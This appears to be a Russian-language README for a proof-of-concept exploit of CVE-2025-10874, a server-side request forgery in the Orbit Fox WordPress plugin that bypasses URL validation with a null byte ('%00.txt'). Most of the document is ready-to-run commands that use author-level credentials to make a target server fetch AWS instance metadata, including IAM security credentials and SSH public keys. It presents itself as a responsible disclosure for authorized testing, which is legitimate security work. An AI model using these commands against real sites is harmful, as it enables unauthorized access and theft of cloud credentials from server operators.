
Демонстрирует SSRF с обходом через инъекцию нулевого байта для CVE-2025-10874

Proof of concept эксплойта, демонстрирующий уязвимость Server-Side Request Forgery (SSRF) в плагине Orbit Fox для WordPress с обходом валидации через null byte инъекцию.
Подробная статья в блоге: https://ryanmroth.com/articles/orbit-fox-ssrf
| Деталь | Примечания |
|---|
| ID CVE: | CVE-2025-10874 |
| Затронутый плагин: | Orbit Fox от ThemeIsle |
| Тип уязвимости: | Server-Side Request Forgery (SSRF) (CWE-918) |
| Оценка CVSS: | 5.5 (средний) |
| Требуемые привилегии: | Author+ (роль автора WordPress или выше) |
| Исправленная версия | 3.0.2+ |
Функциональность импорта MyStock в плагине Orbit Fox содержит уязвимость SSRF, которая позволяет аутентифицированным пользователям с привилегиями Author+ выполнять произвольные HTTP-запросы с сервера WordPress. Уязвимость существует в AJAX-действии handle-request-mystock-import, которое не выполняет надлежащую проверку и санитизацию параметров URL.
Эксплойт использует обход через null byte инъекцию (%00.txt) для обхода валидации URL, что позволяет получить доступ к внутренним сервисам метаданных, API облачных провайдеров и другим сетевым ресурсам, доступным с сервера.
http://169.254.169.254/latest/meta-data/hostnamehttp://169.254.169.254/latest/meta-data/iam/security-credentials/http://169.254.169.254/latest/meta-data/public-keys/0/openssh-keyrequestsurllib3# Клонирование репозитория
git clone <repository-url>
cd Orbit-Fox_SSRF_CVE-2025-10874
# Установка зависимостей (с помощью uv)
uv sync
# Или с помощью pip
pip install requests urllib3
# Извлечение имени хоста инстанса AWS (цель по умолчанию)
python orbit_fox_poc.py http://target.com -u author -p password123
# Указание произвольного целевого URL для SSRF
python orbit_fox_poc.py http://target.com -u author -p password123 \
-s http://169.254.169.254/latest/meta-data/hostname
# Извлечение учётных данных роли IAM
python orbit_fox_poc.py http://target.com -u author -p password123 \
-s http://169.254.169.254/latest/meta-data/iam/security-credentials/
# Извлечение публичного ключа SSH
python orbit_fox_poc.py http://target.com -u author -p password123 \
-s http://169.254.169.254/latest/meta-data/public-keys/0/openssh-key
# Тест без обхода через null byte (не сработает на исправленных версиях)
python orbit_fox_poc.py http://target.com -u author -p password123 --no-nullbyte
# Включение отладочного вывода для устранения неполадок
python orbit_fox_poc.py http://target.com -u author -p password123 --debug
positional arguments:
target Целевой URL WordPress (например, http://example.com)
required arguments:
-u, --username Имя пользователя WordPress (требуется роль Author+)
-p, --password Пароль WordPress
optional arguments:
-h, --help Показать справочное сообщение и выйти
-s, --ssrf-url URL для запроса через SSRF
(по умолчанию: http://169.254.169.254/latest/meta-data/hostname)
--no-nullbyte Отключить обход через null byte (тест только базового SSRF)
--debug Включить отладочный вывод для устранения неполадок
%00.txt к целевому URL для обхода валидацииhandle-request-mystock-importadmin-ajax.php с действием handle-request-mystock-importЭта уязвимость была ответственно раскрыта вендору и исправлена в версии Orbit Fox 3.0.2. Данный proof of concept предоставлен для:
ТОЛЬКО ДЛЯ АВТОРИЗОВАННОГО ТЕСТИРОВАНИЯ БЕЗОПАСНОСТИ
Этот инструмент предоставлен исключительно для образовательных целей и авторизованного тестирования безопасности. Несанкционированный доступ к компьютерным системам является незаконным. Пользователи обязаны:
Автор не несёт ответственности за неправомерное использование этого инструмента.
Последнее обновление: 2025-10-06